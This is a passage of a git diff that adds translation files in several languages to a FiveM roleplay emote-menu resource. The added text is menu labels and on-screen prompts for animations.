+ else + return "Translation [" .. Config.MenuLanguage .. "][" .. str .. "] does not exist" + end + elseif Config.MenuLanguage ~= "en" and Locales["en"] and Locales["en"][str] then + return string.format(Locales["en"][str], ...) + else + return "Locale [" .. Config.MenuLanguage .. "] does not exist" + end +end + +function TranslateCap(str, ...) -- Translate string first char uppercase + return _(str, ...):gsub("^%l", string.upper) +end + +_ = Translate +-- luacheck: ignore _U +_U = TranslateCap \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/locales/ar.lua b/resources/rpemotesreborn1.6.0/locales/ar.lua new file mode 100644 index 000000000..024d4fbfb --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/ar.lua @@ -0,0 +1,68 @@ +Locales['ar'] = { + -- Arabic + ['emotes'] = " ~h~~p~حركات 🎬", + ['danceemotes'] = "~h~~p~ 🕺 حركات الرقص", + ['animalemotes'] = "~h~~p~ 🐩 حركات الحيوانات", + ['propemotes'] = "~h~~p~ 📦 حركات الاوبجكتات", + ['favoriteemotes'] = "~h~~y~ 🌟 المفضلة", + ['favoriteinfo'] = "اختر حركة من هنا لوضعها على خانة المفضلة", + ['rfavorite'] = "اعادة ضبط المفضلة", + ['prop2info'] = "❓ حركات الاوبجكتات تكون محددة في النهاية", + ['set'] = "وضع (", + ['setboundemote'] = ") لتكون حركة مربوطة ؟", + ['newsetemote'] = "~w~ هي حركتك المربوطة , اضغط على ~g~CapsLock~w~ لإستخدامها", + ['cancelemote'] = "~h~~r~ الغاء الحركة 🚷", + ['cancelemoteinfo'] = "لالغاء لعب الحركة الحالية ~r~X~w~", + ['walkingstyles'] = "~h~~p~ اساليب المشي 🚶🏻‍", + ['resetdef'] = "اعادتها للوضع الطبيعي", + ['normalreset'] = "~h~~r~ العادي (اعادة تعيين)", + ['moods'] = "~h~~p~ المزاج 😒", + ['infoupdate'] = "حقوق & للاقتراحات 🤝🏻", + ['infoupdateav'] = "المعلومات (التحديث متاح)", + ['infoupdateavtext'] = "يوجد تحديث جديد متاح , قم بالحصول عليه من هنا : ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "لديك اقتراحات؟", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ على منتدى فايف ام لأي اقتراحات او حركات! ✉️", + ['notvaliddance'] = "هذه الرقصة غير متاحة", + ['notvalidemote'] = "هذه الحركة غير متاحة.", + ['nocancel'] = "لا يوجد حركة لالغائها.", + ['maleonly'] = "هذه الحركة مخصصة فقط للذكور، المعذرة!", + ['emotemenucmd'] = "استخدم امر emotemenu\' قائمة الحركات لفتح قائة الحركات", + ['shareemotes'] = "~h~~p~ 👫 الحركات المشتركة", + ['shareemotesinfo'] = "دعوة شخص قريب لعمل حركات معه", + ['sharedanceemotes'] = "~h~~p~ 🕺 الرقصات المشتركة", + ['notvalidsharedemote'] = "هذه ليست حركة مشتركة متاحة.", + ['sentrequestto'] = "تم ارسال الطلب الى ~y~", + ['nobodyclose'] = "لا يوجد شخص ~r~قريب عليك~w~ كفاية.", + ['doyouwanna'] = "~y~Y~w~ للقبول, ~r~L~w~ للرفض (~g~", + ['refuseemote'] = "تم رفض الحركة", + ['makenearby'] = "قم بجعل اقرب لاعب يلعب", + ['useleafblower'] = "اضغط ~y~G~w~ لإستخدام ورقة منفاخ.", + ['camera'] = "اضغط ~y~G~w~ لاستخدام فلاش الكاميرا.", + ['makeitrain'] = "اضغط ~y~G~w~ لجعلها تمطر.", + ['pee'] = "اضغط ضغطة مطولة على ~y~G~w~ لقضاء الحاجة.", + ['spraychamp'] = "اضغط ضغطة مطولة على ~y~G~w~ لرش الشمبانيا", + ['stun'] = "اضغط ~y~G~w~ لاستخدام بندقية حصرية", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "اضغط ~y~G~w~ لتدخين الفيب.", + ['boundto'] = "%s مرتبط إلى (%s)" + ['currentlyboundemotes'] = " الحركات المشغلة حاليا:", + ['notvalidkey'] = "كبسة غير صالحة", + ['keybinds'] = "🔢 كبسات الفاتيح", + ['keybindsinfo'] = "استخدام", + ['searchemotes'] = "~h~~y~ 🔍 بحث عن حركة", + ['searchinputtitle'] = "بحث:", + ['searchmenudesc'] = " نتيجة لـ ", + ['searchnoresult'] = "لا يوجد نتيجة للبحث ", + ['searchshifttofav'] = "اضغط ضغطة مطولة على L-Shift لوضعها في المفضلة", + ['searchcantsetfav'] = "الحركات المشتركة لا تستطيع وضعها في المفضلة", + ['invalidvariation'] = "تكستشر غير صالح, الاختيارات الصحيحة هي : %s", + ['firework'] = "اضغط ~y~G~w~ لاستخدام الالعاب النارية", + ['poop'] = "اضغط ~y~G~w~ لقضاء الحاجة 2", + ['puke'] = "اضغط ~y~G~w~ للتقيؤ", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "اختيار", + ['btn_back'] = "العودة", + ['btn_switch'] = "حركة", + ['btn_increment'] = "زيادة" + +} diff --git a/resources/rpemotesreborn1.6.0/locales/cs.lua b/resources/rpemotesreborn1.6.0/locales/cs.lua new file mode 100644 index 000000000..4fe35fc0c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/cs.lua @@ -0,0 +1,83 @@ +Locales['cs'] = { + -- Czech 🇨🇿 + ['emotes'] = "~h~~p~ Animace 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Taneční Animace", + ['animalemotes'] = "~h~~p~ 🐩 Zvířecí Animace", + ['propemotes'] = "~h~~p~ 📦 Animace s předměty", + ['favoriteemotes'] = "~h~~y~ 🌟 Oblíbené", + ['favoriteinfo'] = "Vyberte si animaci a nastavte ji jako svou oblíbenou.", + ['rfavorite'] = "Obnovit oblíbené", + ['prop2info'] = "❓ Pomůcky se mohou nacházet na konci", + ['set'] = "Nastavit", + ['setboundemote'] = "Nastavit jako vaši animaci?", + ['newsetemote'] = "~w~ je nyní vaší novou nastavenou animací. Chcete-li jej použít, stiskněte ~g~CapsLock~w~.", + ['cancelemote'] = "~h~~r~ Zrušit animaci 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Zruší aktuálně přehrávanou animaci", + ['walkingstyles'] = "Styly chůze 🚶🏻‍♂️", + ['resetdef'] = "Obnovit do základního nastavení", + ['normalreset'] = "~h~~r~ Neutrální výraz", + ['moods'] = "~h~~p~ Výrazy 😒", + ['infoupdate'] = "~h~~g~ Kredity 🤝🏻", + ['infoupdateav'] = "Informace (aktualizace dostupná)", + ['infoupdateavtext'] = "Je k dispozici aktualizace, stáhněte si nejnovější verzi z ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Nápady?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ na FiveM forums je pro jakýkoliv návrh! ✉️", + ['notvaliddance'] = "Není platný tanec.", + ['notvalidemote'] = "Není platná animace.", + ['nocancel'] = "Žádné animace ke zrušení.", + ['maleonly'] = "Tato emoce je pouze pro muže, omlouvám se!", + ['emotemenucmd'] = "Použij /emotemenu pro otevření menu.", + ['shareemotes'] = "~h~~p~ 👫 Sdílené animace", + ['shareemotesinfo'] = "Pozvěte osobu v okolí, k tanci", + ['sharedanceemotes'] = "~h~~p~ 🕺 Sdílené tance", + ['notvalidsharedemote'] = "Není platný Sdílený tanec.", + ['sentrequestto'] = "Odeslal jsi ~y~ žádost o tanec ", + ['nobodyclose'] = "Nikdo ~r~není~w~ v dostatečné blízkosti.", + ['doyouwanna'] = "~y~Y~w~ pro příjmutí, ~r~L~w~ pro odmítnutí (~g~", + ['refuseemote'] = "Emote odmítnut.", + ['makenearby'] = "Požádat nejbližšího hráče", + ['useleafblower'] = "Stiskněte ~yG~w~ pro použití foukače listí", -- GOOGLE TRANSLATED + ['camera'] = "Stiskni ~y~G~w~ pro použítí blesku u fotoaparátu.", + ['makeitrain'] = "Stiskni ~y~G~w~ pro spuštení deště.", + ['pee'] = "Podrž ~y~G~w~ pro čůrání.", + ['spraychamp'] = "Podrž ~y~G~w~ pro stříkaní šampaňského", + ['stun'] = "Stiskni ~y~G~w~ pro použití paralyzéru.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Stiskni ~y~G~w~ pro použití vapky.", + ['boundto'] = "Bound (%s) to %s", + ['currentlyboundemotes'] = "Momentálně nastavené animace:", + ['notvalidkey'] = "Není platná klávesa.", + ['keybinds'] = "🔢 Klávesové Zkratky", + ['keybindsinfo'] = "Use", + ['searchemotes'] = "~h~~y~ 🔍 Vyhledat animace", + ['searchinputtitle'] = "Vyhledáno:", + ['searchmenudesc'] = "výsledek pro", + ['searchnoresult'] = "Žádna animace nebyla nalezena", + ['searchshifttofav'] = "Podrž L-Shift a stiskni enter pro nastavení animace do oblíbeních.", + ['searchcantsetfav'] = "Sdílené animace nelze nastavit jako oblíbené.", + ['invalidvariation'] = "Neplatná variace textury. Platné výběry jsou: %s", + ['firework'] = "Stiskni ~y~G~w~ pro použití ohňostroje", + ['poop'] = "Stisknutím ~y~G~w~ se vykakáte", + ['puke'] = "Stiskni ~y~G~w~ pro zvracení", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Vybrat", + ['btn_back'] = "Zpět", + ['btn_switch'] = "Pohyb", + ['btn_increment'] = "Increment", + ['dead'] = "Nemůžeš používat emoce, když jsi mrtvý!", + ['swimming'] = "Nemůžeš používat emoce, když plaveš!", + ['notvalidpet'] = "OOOh! Zjištěn nesprávný model peda! 🐕", + ['animaldisabled'] = "Omlouváme se! Zvířecí emotikony jsou na tomto serveru zakázány", + ['adultemotedisabled'] = "Bonk! Dospělé emotikony vypnuty 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Výstup z dalekohledu", + ['toggle_binoculars_vision'] = "Přepínání mezi režimy vidění", + ['exit_news'] = "Výstup ze zpravodajské kamery", + ['toggle_news_vision'] = "Přepínání mezi režimy vidění", + ['edit_values_newscam'] = "Úprava textu zprávy", + ['not_in_a_vehicle'] = "Tuto animaci nelze přehrávat ve vozidle.", + ['in_a_vehicle'] = "Tuto animaci lze přehrát pouze ve vozidle.", + ['no_anim_crawling'] = "Při plazení nelze přehrávat animace", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/da.lua b/resources/rpemotesreborn1.6.0/locales/da.lua new file mode 100644 index 000000000..767f4c92f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/da.lua @@ -0,0 +1,83 @@ +Locales['da'] = { + -- Danish 🇩🇰 + ['emotes'] = "~h~~p~ Animationer", + ['danceemotes'] = "~h~~p~ 🕺 Danse Animationer", + ['animalemotes'] = "~h~~p~ 🐩 Dyr Animationer", + ['propemotes'] = "~h~~p~ 📦 Rekvisit Animationer", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorit", + ['favoriteinfo'] = "Vælg en animation her for at sætte den som din favorit.", + ['rfavorite'] = "Nulstil Favorit", + ['prop2info'] = "❓ Rekvisit animationer findes i slutningen", + ['set'] = "Sæt (", + ['setboundemote'] = ") til din favorit animation?", + ['newsetemote'] = "~w~ er nu din favorit animation, tryk ~g~CapsLock~w~ for at bruge den.", + ['cancelemote'] = "~h~~r~ Afbryd animation", + ['cancelemoteinfo'] = "~r~X~w~ annullerer din igangværende animation.", + ['walkingstyles'] = "~h~~p~ Gågange 🚶", + ['resetdef'] = "Nulstil til standard", + ['normalreset'] = "Normal (Nulstil)", + ['moods'] = "~h~~p~ Humør 😒", + ['infoupdate'] = "~h~~g~ Credits 🤝", + ['infoupdateav'] = "Information (Opdatering tilgængelig)", + ['infoupdateavtext'] = "En opdatering er tilgænglig, hent den nyeste version fra ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Forslag?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ på FiveM-forum for alle funktioner/emote-forslag! ✉️", + ['notvaliddance'] = "er ikke en gyldig dans", + ['notvalidemote'] = "er ikke en gyldig animation", + ['nocancel'] = "Ingen animationer bruges lige nu", + ['maleonly'] = "Denne animation virker kun til mænd!", + ['emotemenucmd'] = "Skriv /emotemenu for animationsmenuen", + ['shareemotes'] = "👫 Delte animationer", + ['shareemotesinfo'] = "Inviter en person i nærheden til at dele en animationer", + ['sharedanceemotes'] = "~h~~p~ 🕺 Delete Danse", + ['notvalidsharedemote'] = "er ikke en gyldig delt animation.", + ['sentrequestto'] = "Anmodning sendt til ~y~", + ['nobodyclose'] = "Ingen ~r~personer~w~ i nærheden.", + ['doyouwanna'] = "~y~Y~w~ for at acceptere, ~r~L~w~ for at afvist (~g~", + ['refuseemote'] = "Animation afvist.", + ['makenearby'] = "får den nærliggende person til at bruge", + ['useleafblower'] = "Tryk på ~yG~w~ for at bruge løvblæseren", + ['camera'] = "Tryk ~y~G~w~ for at bruge kameraets blitz.", + ['makeitrain'] = "Tryk ~y~G~w~ for at regne med penge.", + ['pee'] = "Hold ~y~G~w~ for at tisse.", + ['spraychamp'] = "Hold ~y~G~w~ for at sprøjte med champagnen", + ['stun'] = "Tryk på ~y~G~w~ for at bruge elektrisk pistol.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Press ~y~G~w~ to vape.", + ['boundto'] = "Bound (%s) to %s", + ['currentlyboundemotes'] = " Keybind animationer:", + ['notvalidkey'] = "er ikke en gyldigt nøgle.", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Brug", + ['searchemotes'] = "~h~~y~ 🔍 Søg efter animation", + ['searchinputtitle'] = "Søg:", + ['searchmenudesc'] = "resultat(er) for", + ['searchnoresult'] = "Ingen resultater fundet med", + ['searchshifttofav'] = "Hold L-Shift og tryk enter for at sætte som favorit.", + ['searchcantsetfav'] = "Delte animationer kan ikke være favoritter.", + ['invalidvariation'] = "Ugyldig teksturvariation. Gyldige valg er: %s", + ['firework'] = "Tryk på ~y~G~w~ for at bruge fyrværkeri", + ['poop'] = "Tryk på ~y~G~w~ for at skide", + ['puke'] = "Tryk ~y~G~w~ for at kaste op", ---- Translated via smodin.io + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Vælg", + ['btn_back'] = "Tilbage", + ['btn_switch'] = "Bevægelse", + ['btn_increment'] = "Increment", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/de.lua b/resources/rpemotesreborn1.6.0/locales/de.lua new file mode 100644 index 000000000..2c3fefb68 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/de.lua @@ -0,0 +1,82 @@ +Locales['de'] = { + -- German 🇩🇪 + ['emotes'] = "~h~~p~ Emotes 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Tanz-Emotes", + ['animalemotes'] = "~h~~p~ 🐩 Tier Emotes", + ['propemotes'] = "~h~~p~ 📦 Prop-Emotes", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorit", + ['favoriteinfo'] = "Wählen Sie hier ein Emote aus, um es als gebundenes Emote festzulegen.", + ['rfavorite'] = "Keybind zurücksetzen", + ['prop2info'] = "❓ Prop-Emotes können am Ende platziert werden", + ['set'] = "Set (", + ['setboundemote'] = ") soll dein gebundenes Emote sein?", + ['newsetemote'] = "~w~ ist jetzt ein gebundenes Emote, drücke ~g~CapsLock~w~, um es zu verwenden.", + ['cancelemote'] = "~h~~r~ Emote abbrechen 🚷", + ['cancelemoteinfo'] = "~r~ X ~w~ Bricht das aktuell wiedergegebene Emote ab", + ['walkingstyles'] = "~h~~p~ Gehstile 🚶🏻‍♂️", + ['resetdef'] = "Auf Standard zurücksetzen", + ['normalreset'] = "~h~~r~ Normal (Zurücksetzen)", + ['moods'] = "~h~~p~ Stimmungen 😒", + ['infoupdate'] = "~h~~g~ Credits 🤝🏻", + ['infoupdateav'] = "Information (Update verfügbar)", + ['infoupdateavtext'] = "Eine Aktualisierung ist verfügbar ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Vorschläge?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ in FiveM-Foren für alle Feature- / Emote-Vorschläge! ✉️", + ['notvaliddance'] = "ist kein gültiger Tanz", + ['notvalidemote'] = "ist kein gültiges Emote", + ['nocancel'] = "Kein Emote zum Abbrechen", + ['maleonly'] = "Dieses Emote ist nur für Männer, sorry!", + ['emotemenucmd'] = "Gebe den Befehl /emotemenu ein, um das Menü zu öffnen", + ['shareemotes'] = "~h~~p~ 👫 Geteilte Emotes", + ['shareemotesinfo'] = "Laden Sie eine Person in Ihrer Nähe zum Emoten ein", + ['sharedanceemotes'] = "~h~~p~ 🕺 Geteilte Tänze", + ['notvalidsharedemote'] = "ist kein gültiges geteiltes Emote.", + ['sentrequestto'] = "Anfrage an ~g~ gesendet", + ['nobodyclose'] = "Niemand ist nah genug dran.", + ['doyouwanna'] = "~y~Z~w~ zu akzeptieren, ~r~L~w~ zu verweigern (~g~", + ['refuseemote'] = "Emote abgelehnt.", + ['makenearby'] = "Starte einen Emote mit einer Person in deiner Nähe", + ['useleafblower'] = "Drücke ~y~G~w~ um den Laubbläser zu benutzen.", + ['camera'] = "Drücke ~y~G~w~ um den Kamerablitz zu verwenden.", + ['makeitrain'] = "Drücke ~y~G~w~ zum Geld werfen.", + ['pee'] = "Halte ~y~G~w~ zum urinieren.", + ['spraychamp'] = "Halte ~y~G~w~ um Champagner zu sprühen", + ['smoke'] = "Halte ~y~G~w~ um zu rauchen.", + ['vape'] = "Halte ~y~G~w~ um zu vapen.", + ['boundto'] = "Bound (%s) to %s", + ['currentlyboundemotes'] = " Derzeit gebundene Emotes:", + ['notvalidkey'] = "ist kein gültiger Schlüssel.", + ['keybinds'] = "🔢 Tastenkombinationen", + ['keybindsinfo'] = "verwenden", + ['searchemotes'] = "~h~~y~ 🔍 Suche nach Bestimmten Emotes", + ['searchinputtitle'] = "Suche:", + ['searchmenudesc'] = "Ergebnis(se) für ", + ['searchnoresult'] = "Es wurden keine Ergebnisse gefunden für", + ['searchshifttofav'] = "Halte L-Shift und drücke Enter um das Emote als Favorit zu setzen.", + ['searchcantsetfav'] = "Geteilte Emotes können nicht als Favorit gesetzt werden.", + ['invalidvariation'] = "Ungültige Texturvariante. Korrekte auswahlen sind: %s", + ['firework'] = "Drücke ~y~G~w~, um das Feuerwerk zu benutzen", + ['poop'] = "Drücke ~y~G~w~, um zu kacken", --Translated using smodin.io + ['puke'] = "Drücke ~y~G~w~ um dich zu übergeben", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Auswählen", + ['btn_back'] = "Zurück", + ['btn_switch'] = "Bewegung", + ['btn_increment'] = "Increment", + ['dead'] = "Du kannst keine Emotes nutzen während du tot bist!", + ['swimming'] = "Du kannst keine Emotes verwenden, während du schwimmst", + ['notvalidpet'] = "RUH ROH! Falsches Tiermodell erkannt 🐕!", + ['animaldisabled'] = "Entschuldigung! Tier-Emotes sind auf diesem Server deaktiviert", + ['adultemotedisabled'] = "Bonk! Erwachsenen-Emotes deaktiviert 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Fernglas verlassen", + ['toggle_binoculars_vision'] = "Zwischen Sichtmodi wechseln", + ['exit_news'] = "Nachrichtenkamera verlassen", + ['toggle_news_vision'] = "Zwischen Sichtmodi wechseln", + ['edit_values_newscam'] = "Text der Nachricht bearbeiten", + ['not_in_a_vehicle'] = "Du kannst diese Animation nicht abspielen, während du dich in einem Fahrzeug befindest", + ['in_a_vehicle'] = "Du kannst diese Animation nur abspielen, wenn du dich in einem Fahrzeug befindest 🚷", + ['no_anim_crawling'] = "Du kannst keine Animationen abspielen, während du kriechst", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/el.lua b/resources/rpemotesreborn1.6.0/locales/el.lua new file mode 100644 index 000000000..f5fee073a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/el.lua @@ -0,0 +1,83 @@ +Locales['el'] = { + -- Greek 🇬🇷 + ['emotes'] = '~h~~p~ Κινήσεις 🎬', + ['danceemotes'] = "~h~~p~ 🕺 Χοροί", + ['animalemotes'] = "~h~~p~ 🐩 Ζώα", + ['propemotes'] = "~h~~p~ 📦 Αντικείμενα", + ['favoriteemotes'] = "~h~~y~ 🌟 Αγαπημένα", + ['favoriteinfo'] = "Διάλεξε κίνηση για να τη βάλεις στα αγαπημένα.", + ['rfavorite'] = "Διαγραφή αγαπημένων", + ['prop2info'] = "❓ Τα αντικείμενα βρίσκοντε στο τέλος", + ['set'] = "Set (", + ['setboundemote'] = ") να προστεθεί στα αγαπημένα?", + ['newsetemote'] = "~w~ είναι τώρα στα αγαπημένα σου, πάτησε ~g~CapsLock~w~ για να την χρησιμοποιήσεις.", + ['cancelemote'] = "~h~~r~ Ακύρωση Κίνησης 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Ακυρώνει την κίνηση που κάνεις τώρα", + ['walkingstyles'] = "~h~~p~ Είδη Περπατήματος 🚶🏻‍♂️", + ['resetdef'] = "~h~~y~ Επαναφορα αρχικών ρυθμίσεων", + ['normalreset'] = "~h~~r~ Κανονική (Αρχική)", + ['moods'] = "~h~~p~ Διαθέσεις 😒", + ['infoupdate'] = "~h~~g~ Ευχαριστήρια 🤝🏻", + ['infoupdateav'] = "Πληροφορίες (Νέα έκδοση διαθέσιμη!)", + ['infoupdateavtext'] = "Υπάρχει νέα έκδοση διαθέσιμη, κατέβασέτην από εδώ ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Προτάσεις?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ στο φόρουμ του FiveM για οποιαδήποτε πρόταση! ✉️", + ['notvaliddance'] = "δεν είναι διαθέσιμος χορός.", + ['notvalidemote'] = "δεν είναι διαθέσιμη κίνηση.", + ['nocancel'] = "Δεν κάνεις κάποια κίνηση για να ακυρωθεί.", + ['maleonly'] = "Αυτή η κίνηση είναι μόνο για άνδρες,συγνώμη!", + ['emotemenucmd'] = "Χρησιμοποίησε την εντολή /emotemenu για να ανοίξεις το μενού κινήσεων.", + ['shareemotes'] = "~h~~p~ 👫 Κινήσεις Με Άλλους Παίκτες", + ['shareemotesinfo'] = "Προσκάλεσε τον κοντινότερο παίκτη για να κάνετε μια κίνηση", + ['sharedanceemotes'] = "~h~~p~ 🕺 Χοροί Με Άλλους Παίκτες", + ['notvalidsharedemote'] = "δεν είναι διαθέσιμη κίνηση για να κάνεις με άλλον παίκτη.", + ['sentrequestto'] = "Στείλε αίτημα σε ~y~", + ['nobodyclose'] = "Κανείς ~r~κοντα~w~ σου.", + ['doyouwanna'] = "~y~Y~w~ για να δεχτείς, ~r~L~w~ για να αρνηθείς (~g~", + ['refuseemote'] = "Η κίνηση δεν αποδέχτηκε.", + ['makenearby'] = "κάνει τον κοντινό παίκτη να παίξει", + ['useleafblower'] = "Πάτησε ~y~G~w~ για να χρησιμοποιήσεις την συσκευή φυσίματος.", + ['camera'] = "Πάτησε ~y~G~w~ για να χρησιμοποιήσεις το φλας της κάμερας.", + ['makeitrain'] = "Πάτησε ~y~G~w~ για βροχή χρημάτων.", + ['pee'] = "Κράτα πατημένο το ~y~G~w~ για να κατουρήσεις.", + ['spraychamp'] = "Κράτα πατημένο το ~y~G~w~ για άνοιγμα σαμπάνιας", + ['stun'] = "Πάτησε ~y~G~w~ για να 'χρησιμοποιήσεις' πιστόλι ακινητοποίησης.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Πάτησε ~y~G~w~ για να ατμίσεις.", + ['bound'] = "Σύνδεση (%s) στο %s", + ['currentlyboundemotes'] = " Τωρινές συντομεύσεις κινήσεων:", + ['notvalidkey'] = "δεν είναι σωστό κουμπί.", + ['keybinds'] = "🔢 Συντομεύσεις Πλήκτρων", + ['keybindsinfo'] = "Χρήση", + ['searchemotes'] = "~h~~y~ 🔍 Αναζήτηση Κινήσεων", + ['searchinputtitle'] = "Αναζήτηση:", + ['searchmenudesc'] = "αποτέλεσμα(ατα) για", + ['searchnoresult'] = "Κανένα απότέλεσμα για την αναζήτηση", + ['searchshifttofav'] = "Κράτησε L-Shift και πάτησε enter για να το αποθηκεύσεις ως αγαπημένο.", + ['searchcantsetfav'] = "Οι κινήσεις που μοιράζοντε με παίκτες δεν μπορούν να μπούν στα αγαπημένα.", + ['invalidvariation'] = "Μη έγκυρη επιλογή. Σωστές επιλογές είναι: %s", + ['firework'] = "Πάτησε ~y~G~w~ για να χρησιμοποιήσεις βεγγαλικό", + ['poop'] = "Πάτησε ~y~G~w~ για χέσιμο", + ['puke'] = "Πάτησε ~y~G~w~ για εμετό", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Επιλογή", + ['btn_back'] = "Πίσω", + ['btn_switch'] = "Κίνηση", + ['btn_increment'] = "Ταχύτητα Κίνησης", + ['dead'] = "Δεν μπορείς να κάνεις κάποια κίνηση ενώ έχεις πεθάνει!", + ['swimming'] = "Δεν μπορείς να κάνεις κάποια κίνηση ενώ κολυμπάς", + ['notvalidpet'] = "RUH ROH! Λάθος ped model, δεν μπορεί να κάνει κινήσεις ο χαρακτήρας σου 🐕!", + ['animaldisabled'] = "Συγνώμη! Οι κινήσεις με ζώα είναι απενεργοποιήμενα σε αυτόν τον server", + ['adultemotedisabled'] = "Ούπς! Οι κινήσεις Ενηλίκων είναι απενεργοποιήμενες! 🔞", + ['toggle_instructions'] = "Εμφάνιση/Απόκρυψη οδηγιών", + ['exit_binoculars'] = "Κλείσε τα κυάλια", + ['toggle_binoculars_vision'] = "Εναλλαγή φακών", + ['exit_news'] = "Κλείσε την Κάμερα Ειδήσεων", + ['toggle_news_vision'] = "Εναλλαγή φακών", + ['edit_values_newscam'] = "Επεξεργασία κειμένου της είδησης", + ['not_in_a_vehicle'] = "Δεν μπορείς να κάνεις αυτή τη κίνηση ενώ είσαι σε όχημα ", + ['in_a_vehicle'] = "Μπορείς να κάνεις αυτή τη κίνηση μόνο ενώ είσαι σε όχημα 🚷", + ['no_anim_crawling'] = "Δεν μπορείς να κάνεις κάποια κίνηση ενώ σέρνεσαι", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/en.lua b/resources/rpemotesreborn1.6.0/locales/en.lua new file mode 100644 index 000000000..7f710eb7f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/en.lua @@ -0,0 +1,97 @@ +Locales['en'] = { + -- English 🇬🇧 + ['emotes'] = 'Emotes 🎬', + ['danceemotes'] = "🕺 Dance Emotes", + ['animalemotes'] = "🐩 Animal Emotes", + ['propemotes'] = "📦 Prop Emotes", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorite", + ['favoriteinfo'] = "Select an emote here to set it as your favorite.", + ['rfavorite'] = "Reset favorite", + ['prop2info'] = "❓ Prop Emotes can be located at the end", + ['set'] = "Set (", + ['setboundemote'] = ") to be your bound emote?", + ['newsetemote'] = "~w~ is now your bound emote, press ~g~CapsLock~w~ to use it.", + ['cancelemote'] = "Cancel Emote 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Cancels the currently playing emote", + ['walkingstyles'] = "Walking Styles 🚶🏻‍♂️", + ['resetdef'] = "~h~~y~ Reset to default", + ['normalreset'] = "~h~~r~ Normal (Reset)", + ['moods'] = "Moods 😒", + ['infoupdate'] = "Credits 🤝🏻", + ['remove_emote_keybind'] = 'Delete an emote from keybinds', + ['show_emote_keybind'] = 'view emotes on keybinds', + ['play_emote'] = 'play an animation', + ['open_menu_emote'] = 'Open animation menu', + ['show_list_emote'] = 'See the list of possible emotes', + ['link_emote_keybind'] = 'Linking an emote to a key', + ['help_command'] = 'dance, camera, sit or any other emote', + ['help_variation'] = '(Optional) 1, 2, 3 or any number. Will change the texture of certain accessories used in emotes, for example the color of a telephone. Enter -1 to see a list of variants', + ['infoupdateav'] = "Information (Update available)", + ['infoupdateavtext'] = "An update is available, get the latest version from ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Suggestions?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ on FiveM forums for any feature/emote suggestions! ✉️", + ['notvaliddance'] = "is not a valid dance.", + ['notvalidemote'] = "is not a valid emote.", + ['nocancel'] = "No emote to cancel.", + ['maleonly'] = "This emote is male only, sorry!", + ['emotemenucmd'] = "Use command /emotemenu to open animations menu.", + ['shareemotes'] = "👫 Shared Emotes", + ['shareemotesinfo'] = "Invite a nearby person to emote", + ['sharedanceemotes'] = "🕺 Shared Dances", + ['notvalidsharedemote'] = "is not a valid shared emote.", + ['sentrequestto'] = "Sent request to ~y~", + ['nobodyclose'] = "Nobody ~r~close~w~ enough.", + ['doyouwanna'] = "~y~Y~w~ to accept, ~r~L~w~ to refuse (~g~", + ['refuseemote'] = "Emote refused.", + ['makenearby'] = "makes the nearby player play", + ['useleafblower'] = "Press ~y~G~w~ to use the leaf blower.", + ['camera'] = "Press ~y~G~w~ to use camera flash.", + ['makeitrain'] = "Press ~y~G~w~ to make it 